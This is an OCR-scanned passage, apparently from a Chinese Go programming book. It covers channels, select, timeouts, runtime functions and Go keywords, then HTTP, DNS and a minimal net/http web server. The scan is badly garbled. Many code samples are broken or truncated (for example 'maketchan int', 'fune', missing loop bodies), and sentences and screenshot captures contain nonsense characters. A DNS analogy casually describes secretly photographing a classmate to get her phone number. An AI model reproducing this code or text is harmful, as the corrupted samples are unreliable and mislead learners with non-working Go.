送 或 者 接收 值 。 这 些 值 只 能 是 特定 的 类 型 ; channel 类 型 。 定 义 一 
channel 时 ， 也 需要 定义 发 送 到 channel 的 值 的 类 型 。 注 意 ， 必 须 使 用 
make 创 建 channel。 

ci := maketchan int) 

cs := make(chan string) 

t= make (chan interface(}) 

‘channels SE HUE < Ae BCA D2 MA 

ch v 7/ 发 送 v 到 channel ch. 

v -ch // 从 ch PIRE, JEER v 

我 们 把 这 些 应 用 到 我 们 的 例子 中 来 。 


package main 








import "fmt" 


[lint, c chan int) { 





for , v := range a { 
sum += v 


c <- sum // send sum to c 


func main() { 
a c= []int{7, 2, 8, -9, 4, 0} 





go 
go sum(a{len(a 


Bry i= <cy // receive from c 


fmt.Println(x, y, x + y) 


默认 情况 下 ， channel 接 收 和 发 送 数据 都 是 阻塞 的 ， 除 非 另 一 端 已 经 
准备 好 ，i RRT Coane ] 步 变 得 更 加 简单 ， 而 不 需要 显 式 的 
lock。 所 谓 阻塞 ， 也 就 是 如 果 读 取 (value:= <-ch) ， 它 将 会 被 阻塞 ， 直 
到 有 数据 接收 。 另 外 ， 任 何 发 送 〈ch<-5) 将 会 被 阻塞 ， 直 到 数据 被 读 
出 。 无 缓冲 channel 是 在 多 个 goroutine 之 间 同 步 很 棒 的 工具 。 





Buffered Channels 


上 面 我 们 介绍 了 默认 的 非 缓存 类 型 的 channel， 不 过 Go 语言 也 允许 
指定 channel 的 缓冲 大 小 ， 很 简单 ， 就 是 channel 可 以 存储 多 少 元 素 。ch:= 
make(chan bool, 4)， 创 建 了 可 以 存储 4 个 元 素 的 bool 型 channel。 在 这 个 
channel 中 ， 前 4 个 元 素 可 以 无 阻塞 的 写 入 。 当 写 入 第 5 个 元 素 时 ， 代 码 将 
会 阻塞 ， 直 到 其 他 goroutine 从 channel 中 读 取 一 些 元 素 ， 腾 出 空间 。 


ch := make(chan type, value) 





value == 0 ! 无 缓冲 (阻塞 
value > 0 ! Sh GER, #1 value 个 元 素 ) 
看 下 面 这 个 例子 ， 你 可 以 在 自己 本 机 测试 一 下 ， 修 改 相应 的 value 
值 。 


package main 


import "fmt" 





c := make (chan int，2)// 修 改 2 为 1 就 报错 | 修改 2 为 3 可 以 正常 运行 
ca 
ce 2 
fmt. Printin(<-c) 
fmt .Print1n(<-c) 


} 
Range 和 Close 
上 面 这 个 例子 中 ， 我 们 需要 读 取 两 次 c， 不 是 很 方便 ，Go 语 言 考虑 


到 了 这 一 点 ， 所 以 也 可 以 通过 range， 像 操作 slice 或 者 map 一 样 操作 缓存 
类 型 的 channel， 请 看 下 面 的 例子 。 


package main 

import ( 
“emt” 

) 


fune fibonacci(n int, ¢ chan int) { 





close(c) 
$ 


func main() { 


c := make(chan int, 10) 
go fibonacci (cap(c), c) 
for i := range c { 


fmt .Println (i) 


} 

fori := range c 能 够 不 断 读 取 channel 里 面 的 数据 ， 直 到 该 channel 被 显 
式 的 关闭 。 上 面 代码 中 ， 我 们 看 到 可 以 显 式 的 关闭 channel， 生 产 者 通过 
人 ose 函 数 关 闭 channel。 关 闭 channel 之 后 就 无 法 再 发 送 任何 数据 

， 在 消费 方 可 以 通过 语法 v, ok := <-ch 测 试 channel 是 否 被 关闭 。 如 果 
ide 回 false， 那 么 说 明 channel 已 经 没有 任何 数据 并 且 已 经 被 关闭 。 








PE: 记 住 应 该 在 生产 者 的 地 方 关闭 channel， 而 不 是 消费 的 地 方 去 关 
闭 它 ， 这 样 容易 引起 panic。 

另外 ，channel 不 像 文件 之 类 需要 经 常 去 关闭 ， 只 有 当 你 确实 没有 任 
何 数据 发 送 了 ， 或 者 你 想 显 式 的 结束 range 循 环 之 类 的 操作 。 


Select 


我 们 上 面 介绍 的 都 是 只 有 一 个 channel 的 情况 ， 如 果 存 在 多 个 
channel， 我 们 该 如 何 操作 ? Go 语言 里 面 提供 了 一 个 关键 字 select， 通 过 
select 可 以 监听 channel 上 的 数据 

Select 默认 是 阻塞 的 ， 只 有 当 监 听 的 channel 中 发 送 或 接收 可 以 进行 
nae 会 运行 ， 当 多 个 channel 都 准备 好 的 时 候 ，select 是 随机 选择 一 个 执 
行 的 








package main 
import "fmt" 


func fibonacci(c, quit chan int) ( 
x yil, 1 
for { 
select { 
case e <- x: 
Rr Yr x ty 
case <-quit: 
fmt .Println ("quit") 
return 
} 


} 


func main() { 
c i= make(chan int) 


quit := make(chan int) 
go func() { 
for i := 07 i < 10; i++ ( 


fmt. Println (<-c) 
X 
quit <- 0 

10 

fibonacci (c, quit) 


在 select 里 而 还 有 default 语 法 ，select 其 实 就 是 类 位 switch 的 功能 ， 
default 就 是 当 监听 的 channel 都 没有 准备 好 的 时 候 ， 默 认 执行 的 〈select 不 
再 阻塞 等 待 channel) 。 

select 1 

default 

77 Sc PASE RIN ATI 

} 


超时 


有 时 候 会 出 现 goroutine 阻 塞 的 情况 ， 我 们 如 何 避 免 整个 的 程序 进入 
阻塞 的 情况 ?可 以 利用 select 来 设置 超时 ， 通 过 如 下 的 方式 实现 。 


func maino ( 
c := make (chan int) 
o := make (chan bool) 
go func() { 
for { 
select { 
case v := <- c: 
printin(v) 
case <- time.After(5 * time.Second) : 
printin ("timeout") 
o <- true 
break 


} 
runtime goroutine 


runtime 包 中 有 几 个 处 理 goroutine 的 函数 。 

e Goexit 

退出 当前 执行 的 goroutine， 但 是 defer 函 数 还 会 继续 调用 。 

e Gosched 

让 出 当前 goroutine 的 执行 权限 ， 调 度 器 安排 其 他 等 待 的 任务 运行 ， 
并 在 下 次 某 个 时 候 从 该 位 置 恢复 执行 。 


© NumCPU 
返回 CPU 核 数量 。 


® NumGoroutine 

返回 正在 执行 和 排队 的 任务 总 数 。 
e GOMAXPROCS 

用 来 设置 可 以 运行 的 CPU 核 数 。 


2.8 ”总 结 
这 一 章 我 们 主要 介绍 了 Go 语言 


现 Go 语 言 非常 简单 ， 只 有 25 个 关键 字 
字 都 是 用 来 干什么 的 。 


些 语法 ， 通 过 语法 我 们 可 以 发 
让 我 们 再 来 回顾 一 下 这 些 关键 








break default fune interface select 


case defer go map struct 
chan else goto package switch 
const fallthrough if range type 
continue for import return var 





evar 和 const 参 考 第 2.2 小 节 Go 语言 基础 里 面 的 变量 和 常量 申明 
package 和 import 已 经 有 过 短暂 的 接触 

func 用 于 定义 函数 和 方法 

return 用 于 从 函数 返回 

defer 用 于 类 似 析 构 函数 

go 用 于 并 行 

select 用 于 选择 不 同类 型 的 通讯 

interface 用 于 定义 接口 ， 参 考 第 2.6 小 节 

struct 用 于 定义 抽象 数据 类 型 ， 参 考 第 2.5 小 节 

break, case, continue, for, fallthrough, else, if, switch, 
goto、default 这 些 参考 第 2.3 小 节 流 程 介绍 里 面 

chan 用 于 channel 通 讯 

type 用 于 声明 自 定义 类 型 

map 用 于 声明 map 类 型 数据 

range 用 于 读 取 slice、map、channel 数 据 

记 住 这 25 个 关键 字 ， 你 就 差不多 学 会 Go 语言 了 。 


注释 


DRob Pike, 













网 公 司 最 著名 的 软件 工程 师 之 一 ， 曾 是 


，Inferno 操 作 系 统 开发 的 主要 人 。 他 是 缔造 Go 语言 和 


第 3 章 Web 基础 


学 习 基 于 Web 的 编程 可 能 是 你 读本 书 的 原因 。 事 实 上 ， 如 何 通过 Go 
语言 来 编写 Web 应 用 也 是 笔者 编写 本 书 的 初 囊 。 前 面 已 经 介绍 过 ，Go 语 
言 目前 已 经 拥有 了 成 熟 的 Http 处 理 包 ， 这 使 得 编写 能 做 任何 事情 的 动态 
Web 程 序 易如反掌 。 接 下 来 将 要 介绍 的 内 容 ， 都 是 属于 Web 编 程 的 范 
畴 。 本 章 集中 讨论 一 些 与 Web 相 关 的 概念 和 Go 语言 如 何 运行 Web 程 序 的 
话题 。 


3.1 Web 工 作 方式 


我 们 平时 浏览 网 页 的 时 候 ， 会 打开 浏览 器 ， 输 入 网 址 后 按 下 回 车 
键 ， 然 后 就 会 显示 出 你 想 要 浏览 的 内 容 。 在 这 个 看 似 简单 的 用 户 行为 背 
后 ， 到 底 隐 藏 了 些 什么 呢 ? 

对 于 普通 的 上 网 过 程 ， 系 统 其 实 是 这 样 做 的 ; 浏览 器 本 身 是 一 个 客 
户 端 ， 当 你 输入 URL 的 时 候 ， 浏 览 器 首先 会 去 请 求 DNS 服务 器 ， 通 过 
DNS 获 取 相 应 域名 对 应 的 IP， 然 后 通过 IP 地 址 找到 IP 对 应 的 服务 器 后 ， 
要 求 建立 TCP 连 接 ， 等 浏览 器 发 送 完 HTTP Request GER) Ga, HRS 
器 接收 到 请 求 包 之 后 才 开始 处 理 请 求 包 ， 服 务 器 调用 自身 服务 ， 返 回 
HTTP Response (响应) 包 ; 客户 端 收 到 来 自 服务 器 的 响应 后 开始 泻 染 
这 个 Response 包 里 的 主体 (body) ， 等 收 到 全 部 的 内 容 ， 随 后 断 开 与 该 
服务 器 之 间 的 TCP 连 接 。 

一 个 Web 服 务 器 也 被 称 为 HTTP 服 务 器 ， 它 通过 HTTP 协 议 与 客户 端 
通信 。 这 个 客户 端 通常 指 的 是 Web 浏 览 器 (其 实 手 机 端 客 户 端 内 部 也 是 
浏览 器 实现 的 ) 。 

Web 服 务 器 的 工作 原理 可 以 简单 地 归纳 如 下 。 

o 客户 端 通过 TCP/IP 协 议 建立 到 服务 器 的 TCP 连 接 。 

P e 客户 端 向 服务 器 发 送 HTTP 协 议 请 求 包 ， 请 求 服务 器 里 的 资源 文 

© 服务 器 向 客户 机 发 送 HTTP 协 议 应 答 包 ， 如 果 请 求 的 资源 包含 有 
动态 语言 的 内 容 ， 那 么 服务 器 会 调用 动态 语言 的 解释 引擎 负责 处 理 “ 动 
态 内容 "， 并 将 处 理 得 到 的 数据 返回 给 客户 端 。 

o 客户 端 与 服务 器 断 开 。 由 客户 端 解释 HTML 文 档 ， 在 客户 端 屏 
















幕 上 泻 染 图 形 结果 。 

一 个 简单 的 HTTP 事 务 就 是 这 样 实现 的 ， 看 起 来 很 复杂 ， 原 理 其 实 
是 挺 简单 的 。 需 要 注意 的 是 客户 端 与 服务 器 之 间 的 通信 和 是非 持久 连接 
的 ， 当 服务 器 发 送 了 应 答 后 就 与 客户 端 断 开 连 接 ， 等 待 下 一 次 请 求 。 


Google 





Googe Seach tm Foring chy 


© 





向 293.298.46.164 域名 解析 请 求 
发 送 页 面 访问 请 求 cikanie 
十 一 一 一 一 一 
服务 端 
& EPN 
IP 地 址 回复 
页 面 内 容 回复 263.288.46.164 


图 3.1 用 户 访问 一 个 Web 站 点 的 过 程 
URL 和 DNS 解 析 
我 们 浏览 网 页 都 是 通过 URL 访 问 的， 那么 URL 到 底 是 怎么 样 的 ? 


URL (Uniform Resource Locator) 是 “统一 资源 定位 符 ” 的 英文 缩 
写 ， 用 于 描述 一 个 网 络 上 的 资源 ， 基 本 格式 如 下 。 


Scheme://host[:Port#] /path/.../[?query-string] [#anchor] 


scheme 指定 低层 使 用 的 协议 (例如 : http, https, ftp) 

host HTTP 服务 器 的 IP 地 址 或 者 域名 

port? BTTP IRS OR we Je 30， 这 种 情况 下 端口 号 可 以 省 略 。 如 果 使 用 了 别 的 
端口 ， 必 须 指明 ， 例 如 http: //www.cnblogs.com:8080/ 

path 访问 资源 的 路 径 

query-string ”发 送 给 http 服务 器 的 数据 

anchor Ki 


DNS (Domain Name System) 是 “域名 系统 ”的 英文 缩写 ， 是 一 种 组 
织 成 域 层次 结构 的 计算 机 和 网 络 服务 命名 系统 ， 它 用 于 TCP/IP 网 络 ， 它 
从 事 将 主机 名 或 域名 转换 为 实际 IP 地 址 的 工作 。DNS 就 是 这 样 的 一 
位 “翻译 官 *， 它 的 基本 工作 原理 可 用 图 3.2 来 表示 。 


查询 www.google.com 





203.208.46.164 
图 3.2 DNS 工作 原理 


下 面 是 更 详细 的 DNS 解析 的 过 程 ， 这 个 有 助 于 我 们 理解 DNS 的 工作 


模式 。 
1. 在 浏览 器 中 输入 www.qq.com 域 名 ， 操 作 系统 会 先 检查 自己 本 地 
的 hosts 文 件 是 否 有 这 个 网 址 映射 关系 ， 如 果 有 ， 就 先 调用 这 个 IP 地 址 映 
射 ， 完 成 域名 解析 。 

2. 如果 hosts 里 没有 这 个 域名 的 映射 ， 则 查找 本 地 DNS 解析 器 组 
存 ， 是 否 有 这 个 网 址 映射 关系 ， 如 果 有 ， 直 接 返 回 ， 完 成 域名 解析 。 

3. 如 果 hosts 与 本 地 DNS 解析 器 缓存 都 没有 相应 的 网 址 映射 关系 ， 
首先 会 找 TCPHP 参 数 中 设置 的 首选 DNS 服务 器 ， 在 此 我 们 叫 它 本 地 DNS 
服务 器 ， 此 服务 器 收 到 查询 时 ， 如 果 要 查询 的 域名 包含 在 本 地 配置 区 域 
OS RS RR fs EN 

4. 如 果 要 查询 的 域名 ， 不 由 本 地 DNS 服 务 器 区 域 解析 ， 但 该 服务 
器 已 缓存 了 此 网 址 映射 关系 ， 则 调用 这 个 IP 地 址 映射 ， 完 成 域名 解析 
此 解析 不 具有 权威 性 。 

5. 如 果 本 地 DNS 服务 器 本 地 区 域 文件 与 缓存 解析 都 失效 ， 则 根据 
本 地 DNS 服务 器 的 设置 〈 是 否 设置 转发 器 ) 进行 查询 ， 如 果 未 用 转发 模 
式 ， 本 地 DNS 就 把 请 求 发 至 “ 根 DNS 服 务 器 ”，“ 根 DNS 服 务 器 * 收 到 请 求 
后 会 判断 这 个 域名 Ccom) 是 谁 来 授权 管理 ， 并 会 返回 一 个 负责 该 顶级 
域名 服务 器 的 一 个 P。 本 地 DNS 服 务 器 收 到 IP 信 息 后 ， 将 会 联系 负 
责 .com 域 的 这 台 服 务 器 。 这 台 负 责 .com 域 的 服务 器 收 到 请 求 后 ， 如 果 自 
己 无 法 解析 ， 它 就 会 找 一 个 管理 .com 域 的 下 一 级 DNS 服 务 器 地 址 
(gq.com) 给 本 地 DNS 服务 器 。 当 本 地 DNS 服务 器 收 到 这 个 地 址 后 ， 就 
会 找 qq.com 域 服务 器 ， 重 复 上 面 的 动作 ， 进 行 查询 ， 直 至 找到 
www.qq.com 主 机 。 

6. 如 果 用 的 是 转发 模式 ， 此 DNS 服务 器 就 会 把 请 求 转发 至 上 一 级 
DNS 服务 器 ， 由 上 一 级 服务 器 进行 解析 ， 上 一 级 服务 器 如 果 不 能 解析 ， 
找 根 DNS 或 把 转 请求 转 至 上 上 级 ， 以 此 循环 。 不 管 是 本 地 DNS 服务 器 用 
是 否 转发 ， 还 是 根 握 示 ， 最 后 都 是 把 结果 返回 给 本 地 DNS 服务 器 ， 由 此 
DNS 服务 器 再 返回 给 客户 机 。 

所 谓 “递归 查询 过 程 ” 就 是 “查询 的 递交 者 ”更 蔡 ， 而 “迭代 查询 过 
程 " 则 是 “查询 的 递交 者 不 变 。 


举 个 例子 ， 你 想 知道 某 个 一 起 上 法 律 课 的 女孩 的 电话 ， 偷 偷拍 了 她 
的 照片 ， 回 到 究 室 告诉 一 个 很 仗义 的 哥们 儿 ， 这 个 哥们 儿 二 话 没 说 ， 拍 
着 胸 且 告 诉 你 ， 青 急 ， 我 蔡 你 查 〈 此 处 完成 了 一 次 递归 查询 ， 即 ， 问 询 
者 的 角色 更 蔡 ) 。 然 后 他 拿 着 照片 问 了 学 院 大 四 学 长 ， 学 长 告诉 他 ， 这 
姑娘 是 xx 系 的 。 这 哥们 儿 又 马不停蹄 间 了 xx 系 的 办 公 室 主任 助理 同学 ， 





助理 同学 说 是 xx 系 yy 班 的 ， 然 后 这 仗义 的 哥们 儿 去 xx 系 yy 班 的 班长 那里 
拿 到 了 该 女孩 儿 电 话 。〔 此 处 完成 若干 次 迭代 查询 ， 即 ， 问 询 者 角色 不 
tit 最 后 ， 他 把 号 码 交 到 了 你 手 里 。 完 成 整个 查 
询 过 程 。 


通过 上 面 的 步骤 ， 我 们 最 后 获取 的 是 也 地 址 ， 也 就 是 浏览 器 最 后 发 
起 请 求 的 时 候 是 基于 IP 来 和 服务 器 做 信息 交互 的 。 


HTTP 协 议 详解 


HTTP 协 议 是 Web 工 作 的 核心 ， 所 以 要 了 解 清 楚 Web 的 工作 方式 就 
需要 详细 了 解 HTTP 是 怎么 样 工作 的 。 

HTTP 是 一 种 让 Web 服 务 器 与 浏览 器 (客户 端 ) 通过 Internet 发 送 与 
接收 数据 的 协议 ， 它 建立 在 TCP 协 议 之 上 ， 一 般 采 用 TCP 的 80 端 口 。 它 
是 一 个 请 求 、 响 应 协议 一 客户 端 发 出 一 个 请 求 ， 服 务 器 响应 这 个 请 求 。 
在 HTTP 中 ， 客 户 端 总 是 通过 建立 一 个 连接 与 发 送 一 个 HTTP 请 求 来 发 起 
一 个 事务 。 服 务 器 不 能 主动 去 与 客户 端 联系 ， 也 不 能 给 客户 端 发 出 一 个 
回调 连接 。 客 户 端 与 服务 器 端 都 可 以 提前 中 断 一 个 连接 。 例 如 ， 当 浏览 
器 下 载 一 个 文件 时 ， 你 可 以 通过 点 击 “ 停 止 ” 键 来 中 断 文件 的 下 载 ， 关 闭 
与 服务 器 的 HTTP 连 接 。 





|<—> aes seers <—>|-<——> mie ape 


客户 端 
图 3.3 DNS 解析 的 整个 流程 


HTTP 协 议 是 无 状态 的 ， 同 一 个 客户 端的 这 次 请 求 和 上 次 请 求 是 没 
有 对 应 关系 ， 对 HTTP 服 务 器 来 说 ， 它 并 不 知道 这 两 个 请 求 是 否 来 自 同 
一 个 客户 端 。 为 了 解决 这 个 问题 ，Web 程 序 引入 了 Cookie 机 制 来 维护 连 
接 的 可 持续 状态 。 


HE: HTTP 协 议 建立 在 TCP 协 议 之 上 ， 因 此 TCP 攻 击 同样 会 影响 
HTTP 的 通信 ， 例 如 SYN Flood， 当 前 最 流行 的 DoS (拒绝 服务 攻击 ) 与 
DdoS (分 布 式 拒绝 服务 攻击 〉 的 方式 之 一 ， 这 是 一 种 利用 TCP 协 议 缺 
陷 ， 发 送 大 量 伪 造 的 TCP 连 接 请 求 ， 从 而 使 得 被 攻击 方 资源 耗 尽 (CPU 
满 负荷 或 内 存 不 足 ) 的 攻击 方式 。 





HTTP 请 求 包 〈 浏 览 器 信息 ) 

我 们 先 来 看 看 Request 包 的 结构 ，Request 包 分 为 3 部 分 ， 第 一 部 分 叫 
Request line (请 求 行 ) ， 第 二 部 分 叫 Request header〈 请 求 头 ) ， 第 三 部 
分 是 body 主体 ) 。header 和 body 之 间 有 个 空 行 ， 请 求 包 的 例子 如 下 所 
示 。 





GET /domains/example/ HTTP/1.1 77 请 求 行 : 请求 方法 请 求 URI HTTP 协议 / 协 
议 版 本 

Host: www.iana.org ARH EMA, 

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebXit/537.4 (KHTML, like 


Gecko) Chrome/22 
Accept : 
text/html, application/xhtmltxm1,application/xml;q=0.9,*/*;q=0.8 //% PH 
能 接收 的 mine 
Accept-Encoding: gzip,deflate, sdch 7Z/ 是 否 支持 流 压缩 
Accept-Charset: UTI q=0.5 7/ 客户 端 字符 编码 集 
// 室 行 , 用 于 分 割 请 求 头 和 六 
/7 消息 体 , 请 求 资源 参数 ， 例如 PosT 传递 的 参数 
我 们 通过 fiddler 抓 包 可 以 看 到 如 图 3.4、 图 3.5 所 示 的 请 求 信息 。 
| (2) Statistics | Wl Inspectors | £ putoReponder | i# Composer | 上 | Fiters | [I Log | = Timeire| 
Headers | Textiiow | NP | eww | Auth) | Coote [| Ram | 50N [me | 
(Ger herr Zman. sina. Com Cn/ HT 


F711 

lAccept: ‘inage/sit, imags/ipeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, apr 
laccepe-Languaget 
Usercagent: Mozi11a/4<0 (compatible; MSIE 6.0; windows NT 5.1; Trident/4,0; InfoPath.2; NE 
laccept-encoding: gzip, deflate 

iCanneesion: Ke 全 -好 

Hosts awa sina. com. cri 





,1229.94 Safari/537.4 7/ 浏 览 器 信息 


















图 3.4 fiddler 抓 取 的 GETI 




















[© statsts © Inspectors | Æ Autoresponder | L? composer | [C] riers | El Loo | = Tmelne| 
Headers | Tootyew | Webroms | Hoxhen | Muth | Cookies |TRaw | BON | x 











post actpeZAloaiy.s jra com coven ALogin.ohorclient=ss0 loin, se) HITIT 
lAcceats trage/eif, image/ipeg, tmage/o}oeg, Trage/pjkeg, appt! catton/x-snocowove-flash, applicati on/vnd.m 
iesrenens MERES danas ue TBA on 


1374.0 (compatible; uste e.o; windows NT £.1; Trident/4.0; ImfoPath.2; -NET CLR 2.0.5072 
i a Femur aca 
deviare 





(cookie: SENASLCEAL=coC000eS, 75eSea5. 5045-217. dbes4es25 Apache=0000003,7Sese05 .5O46Cz17.fecasbs0 


nrryre1bosoarenayrlaTranresavesrarery&userickerrlasnTei8ssns1mple1nD1nrlasuresllphNU22pib1UUnGdrrwlstm 








图 3.5 fiddler 抓 取 的 POST 信息 









我 们 可 以 看 到 GET 请 求 消息 体 为 空 ，POST 请 求 带 有 消息 体 。 
HTTP 协 议定 义 了 很 多 与 服务 器 交互 的 请 求 方法 ， 最 基本 的 有 4 种 ， 


分 别 是 GET、POST、PUT、DELETE。 一 个 URL 地 址 用 于 描述 一 个 网 络 
上 的 资源 ， 而 HTTP 中 的 GET、POST、PUT、DELETE 就 对 应 着 对 这 个 
资源 改 、 增 、 删 4 个 操作 。 我 们 最 常见 的 就 是 GET 和 POST。 

GET 一 般 用 于 获取 /查询 资源 信息 ， 而 POST 一 般 用 于 更 新 资源 信 
息 。 以 下 是 GET 和 POST 的 区 别 。 

1. GET 提 交 的 数据 会 放 在 URL 之 后 ， 以 ?分 割 URL 和 传输 数据 ， 参 
数 之 间 以 & 相 连 ， 如 EditPosts.aspx?name=testl&id=123456。POST 方 法 
是 把 提交 的 数据 放 在 HTTP 包 的 Body 中 。 

2，GET 提 交 的 数据 大 小 有 限制 〈 因 为 浏览 器 对 URL 的 长 度 有 限 
制 ) ， 而 POST 方法 提交 的 数据 没有 限制 。 

3. GET 方 式 提交 数据 ， 会 带 来 安全 问题 ， 比 如 一 个 登录 页 面 ， 通 
过 GET 方 式 提交 数据 时 ， 用 户 名 和 密码 将 出 现在 URL 上 ， 如 果 页 面 可 以 
人 就 可 以 从 历史 记录 获得 该 用 户 的 
账号 和 密码 。 

HTTP 响 应 包 《〈 服 务 器 信息 ) 
我 们 再 来 看 看 HTTP 的 response 包 ， 它 的 结构 如 下 。 











HTTP/1.1 200 OK LARGAT 

Server: nginx/1.0.8 /1 服务 器 使 用 的 WEB 软件 名 及 版 本 
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT /7 发 送 时 间 
Content-Type: text/html A A NE he FLINT AMT 
Transfer-Encoding: chunked /7/ 表 未 发送 BTTE 包 是 分 段 发 的 
Connes: keep-alive /7 保持 连接 状态 





// 主 体内 容 长 度 





Content —Lendt! 
/7 室 行 用 来 分 割 消息 头 和 主体 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... // 清 息 体 





Response 包 中 的 第 一 行 叫做 状态 行 ， 由 HTTP 协 议 版 本 号 、 状 态 
码 、 状 态 消息 三 部 分 组 成 。 
状态 码 用 来 告诉 HTTP 客 户 端 ，HTTP 服 务 器 是 否 产生 了 预期 的 






Response。HTTP/1.1 协 议 中 定义 了 5 类 状态 码 ， 状 态 码 由 三 位 数字 组 
成 ， 第 一 个 数字 定义 了 响应 的 类 别 。 

表示 请 求 已 被 成 功 接收 ， 继 续 处 理 。 
SERRE ETT 理解 ， 接 受 。 





。 1XX 提示 信息 
2XX 成 功 











4XX 客户 端 错误 
evs re 
OER AMI afl, ia Bal Ae YE 
码 ，200 是 常用 的 ， 表 示 正 常 信息 ，302 表 示 跳 转 。response header 里 面 
展示 了 详细 的 信息 。 








Bile HAC Hales Tools Vier elp GET /book 







[GET To/ login pho? ssouuvestat =i 4741 MR 


FIP: CP="CURa ADMa DEV PSA PSDo OUR BUS UNI PUR IN 
Set-Cookie: USRHAWDausimdns32_155; pate) 
Set-Cookie: v=5; expires=Thu, 06-Sep-2012 03:29:35 SMT; | 


z 


加 委 攻 区区 区区 区 区区 区区 区 区 区 蕊 区区 区 世 世 区 世 蕊 世 区 好 图 5 区 攻 区 图 蝇 、 


< 
图 3.6 访问 一 次 网 站 的 全 部 请 求 信 


HTTP 协 议和 Connection: keep-alive 的 区 别 

无 状态 是 指 协议 对 于 事务 处 理 没 有 记忆 能 力 ， 服 务 器 不 知道 客户 端 
是 什么 状态 。 从 另 一 方面 讲 ， 打 开 一 个 服务 器 上 的 网 页 和 你 之 前 打开 这 
个 服务 器 上 的 网 页 之 间 没有 任何 联系 。 

HTTP 是 一 个 无 状态 的 面向 连接 的 协议 ， 无 状态 不 代表 HTTP 不 能 保 
持 TCP 连 接 ， 更 不 能 代表 HTTP 使 用 的 是 UDP 协议 〈 面 对 无 连接 ) 。 








从 HTTP/L 1 起 ， 默 认 都 开启 了 Keep-Alive 保 持 连接 特性 ， 简 单 地 
说 ， 当 一 个 网 页 打开 完成 后 ， 客 户 端 和 服务 器 之 间 用 于 传输 HTTP 数 据 
的 TCP 连 接 不 会 关闭 ， 如 果 客 户 端 再 次 访问 这 个 服务 器 上 的 网 页 ， 会 继 
续 使 用 这 一 条 已 经 建立 的 TCP 连 接 。 

Keep-Alive 不 会 永久 保持 连接 ， 它 有 一 个 保持 时 间 ， 可 以 在 不 同 服 
务 器 软件 (如 Apache》 中 设置 这 个 时 间 。 


请 求实 例 
我 们 可 以 从 图 3.7 了 解 到 通信 的 整个 过 程 ， 细 心 的 读者 是 否 注 意 


到 ， 一 个 URL 请 求 的 左边 栏 里 面 为 什么 会 有 那么 多 的 资源 请 求 〈 这 些 都 
是 静态 文件 ，Go 语 言 对 于 静态 文件 有 专门 的 处 理 方式 ) 。 
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的 request 和 response 


这 就 是 浏览 器 的 一 个 功能 ， 第 一 次 请 求 ull， 服务 器 端 返 回 的 是 html 
页 面 ， 然 后 浏览 器 开始 泻 染 HTML: 当 解 析 到 HTML DOM 里 面 的 图 片 
链接 ，css 脚 本 和 js 脚本 的 链接 ， 浏 览 器 就 会 自动 发 起 一 个 请 求 静态 资源 
的 HTTP 请 求 ， 获 取 相对 应 的 静态 资源 ， 然 后 浏览 器 就 会 泻 染 出 来 ， 最 
终 将 所 有 资源 整合 、 泻 染 ， 完 整 展 现在 屏幕 上 。 


HE: 网 页 优化 方面 有 一 项 措施 是 减少 HTTP 请 求 次 数 ， 把 尽量 多 的 
css 和 js 资源 合并 在 一 起 ， 目 的 是 尽量 减少 网 页 请 求 静态 资源 的 次 数 ， 提 
高 网 页 加 载 速度 ， 同 时 减缓 服务 器 的 压力 。 


3.2 ”Go 语言 搭建 一 个 Web 服 务 器 


前 面 已 经 介绍 了 Web 是 基于 http 协 议 的 一 个 服务 ，Go 语 言 提供 了 一 
个 完善 的 neUhttp 包 ， 通 过 http 包 可 以 很 方便 地 搭建 一 个 可 以 运行 的 web 
服务 。 同 时 使 用 这 个 包 能 很 简单 地 对 Web 的 路 由 ， 静 态 文件 ， 模 版 ， 
Cookie 等 数据 进行 设置 和 操作 。 


http 包 建立 Web 服 务 器 








package main 


import ( 
"fmt" 
“net/http" 
“strings” 
"log" 

) 





func sayhelloName(w http.ResponseWriter, r *http.Request) { 
x.ParseForm() // 解 析 参 数 ， 默 认 是 不 会 解析 的 
fmt.Printin(r.Form) // 这 些 信息 是 输出 到 服务 器 端的 打印 信息 
fmt.Println("path", r.URb.Path) 
fmt .Printin("scheme", r.URL.Scheme) 
fmt .Printin (r.Form{"url_long™]) 
for k, v := range r.Form ( 
fmt .Printin ("key:", k) 
fmt .PrintIn("val:", strings.Join(v, "")) 
} 
fmt.Fprintf(w, "Hello astaxie!") // 这 个 写 入 到 w 的 是 输出 到 客户 端的 
} 


func main() { 
http.HandleFunc(*/", saynelloName) // 设 置 访问 的 路 由 
err i= http.ListenAndserve(":9090", nil) // 设 置 监听 的 端口 
if err != nil ( 
log.Fatal ("ListenAndServe: ", err) 
} 


} 

见 上 述 代 码 ， 我 们 build 之 后 ， 然 后 执行 web.exe， 这 个 时 候 其 实 已 
经 在 9090 端 口 监听 tcp 链 接 请 求 了 。 

在 浏览 器 输入 http://localhost:9090， 可 以 看 到 浏览 器 页 面 输出 了 
Hello astaxie!， 换 一 个 地 址 试 试 ，http://localhost:9090/? 
url_long=111&url_long=222， 看 看 浏览 器 输出 的 是 什么 ， 服 务 器 输出 的 
是 什么 ? 

在 服务 器 端 输出 的 信息 如 图 3.8 所 示 。 








图 3.8 用 户 访问 Web 之 后 服 J 印 的 信息 


-个 Web 服 务 器 很 简单 ， 只 要 调用 http 包 的 两 个 函数 
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即 可 。 

如 果 你 以 前 是 PHP 程 zi 
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] 不 需要 nginx、 
[ 接 监听 tcp 端 口 ， 
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tornado， 这 个 代码 
语言 的 特性 ， 写 





-个 Web 服 务 ， 
\ 节 将 详细 讲解 





我 们 看 到 Go 语言 简单 的 几 行 代码 就 已 
而 且 这 个 Web 服 务 内 部 有 支持 高 并 发 的 特性 ，# 





Go 语言 如 何 实现 Web 高 并 发 。 
3.3 Go 语言 如 何 使 Web 工 作 


前 面 介绍 了 如 何 通过 Go 语言 搭建 一 个 Web 服 务 ， 我 们 可 以 看 到 简单 
应 用 一 个 neUhttp 包 方便 地 搭建 起 来 了 。 那 么 Go 语言 在 底层 到 底 是 怎么 
做 的 呢 ? 万 变 不 离 其 宗 ，Go 语 言 的 Web 服 务工 作 也 离 不 开 我 们 之 前 介绍 
的 Web 工 作 方式 。 


Web 工 作 方式 的 几 个 概念 


以 下 均 是 服务 器 端的 几 个 概念 。 

Request: 用 户 请 求 的 信息 ， 用 来 解析 用 户 的 请 求 信息 ， 包 括 post、 
get、Cookie、url 等 信息 
Response: 服务 器 需要 反馈 给 客户 端的 信息 。 

